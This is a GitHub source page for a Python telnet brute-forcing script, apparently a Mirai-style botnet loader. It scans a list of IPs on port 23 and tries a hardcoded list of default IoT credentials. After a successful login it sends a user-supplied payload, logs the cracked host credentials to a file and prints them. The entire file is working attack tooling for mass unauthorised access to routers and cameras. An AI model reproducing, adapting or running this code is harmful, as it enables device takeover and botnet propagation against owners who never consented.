-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathtel_brute.py
196 lines (187 loc) · 5.05 KB
/
tel_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/python
import threading
import sys, os, re, time, socket
from Queue import *
from sys import stdout
#Put Your Payload On Line 95 ;) ex: Payload Goes In Between The ---> ""
if len(sys.argv) < 4:
print "Usage: python "+sys.argv[0]+" <list> <threads> <output>"
sys.exit()
combo = [
"root:root",
"root:",
"admin:admin",
"support:support",
"user:user",
"admin:",
"admin:password",
"root:vizxv",
"root:admin",
"root:xc3511",
"root:888888",
"root:xmhdipc",
"root:default",
"root:juantech",
"root:123456",
"root:54321",
"root:12345",
"root:pass",
"ubnt:ubnt",
"root:klv1234",
"root:Zte521",
"root:hi3518",
"root:jvbzd",
"root:anko",
"root:zlxx.",
"root:7ujMko0vizxv",
"root:7ujMko0admin",
"root:system",
"root:ikwb",
"root:dreambox",
"root:user",
"root:realtek",
"root:00000000",
"admin:1111111",
"admin:1234",
"admin:12345",
"admin:54321",
"admin:123456",
"admin:7ujMko0admin",
"admin:1234",
"admin:pass",
"admin:meinsm",
"admin:admin1234",
"root:1111",
"admin:smcadmin",
"admin:1111",
"root:666666",
"root:password",
"root:1234",
"root:klv123",
"Administrator:admin",
"service:service",
"supervisor:supervisor",
"guest:guest",
"guest:12345",
"admin1:password",
"administrator:1234",
"666666:666666",
"888888:888888",
"tech:tech",
"mother:fucker",
"default:",
"User:admin",
"default:OxhlwSG8",
"default:S2fGqNFs",
"sysadm:sysadm",
"adm:",
"bin:",
"daemon:",
"root:cat1029",
"admin:cat1029",
"root:antslq"
]
ips = open(sys.argv[1], "r").readlines()
threads = int(sys.argv[2])
output_file = sys.argv[3]
queue = Queue()
queue_count = 0
for ip in ips:
queue_count += 1
stdout.write("\r[%d] Added to queue" % queue_count)
stdout.flush()
queue.put(ip)
print "\n"
class router(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
self.rekdevice="" #<---Payload Goes In Between The ---> ""
def run(self):
global fh
username = ""
password = ""
for passwd in combo:
if ":n/a" in passwd:
password=""
else:
password=passwd.split(":")[1]
if "n/a:" in passwd:
username=""
else:
username=passwd.split(":")[0]
try:
tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tn.settimeout(0.37)
tn.connect((self.ip,23))
except Exception:
tn.close()
break
try:
hoho = ''
hoho += readUntil(tn, ":")
if ":" in hoho:
tn.send(username + "\r\n")
time.sleep(0.1)
except Exception:
tn.close()
try:
hoho = ''
hoho += readUntil(tn, ":")
if ":" in hoho:
tn.send(password + "\r\n")
time.sleep(0.1)
else:
pass
except Exception:
tn.close()
try:
prompt = ''
prompt += tn.recv(40960)
if "#" in prompt or "$":
success = True
else:
tn.close()
if success == True:
try:
tn.send(self.rekdevice + "\r\n")
fh.write(self.ip + ":23 " + username + ":" + password + "\n") # 1.1.1.1:23 user:pass # mirai
fh.flush()
print "[+] GOTCHA -> %s:%s:%s"%(username, password, self.ip)
tn.close()
break
except:
tn.close()
else:
tn.close()
except Exception:
tn.close()
def readUntil(tn, string, timeout=8):
buf = ''
start_time = time.time()
while time.time() - start_time < timeout:
buf += tn.recv(1024)
time.sleep(0.01)
if string in buf: return buf
raise Exception('TIMEOUT!')
def worker():
try:
while True:
try:
IP = queue.get()
thread = router(IP)
thread.start()
queue.task_done()
time.sleep(0.02)
except:
pass
except:
pass
global fh
fh = open("telnetout.txt","a")
for l in xrange(threads):
try:
t = threading.Thread(target=worker)
t.start()
except:
pass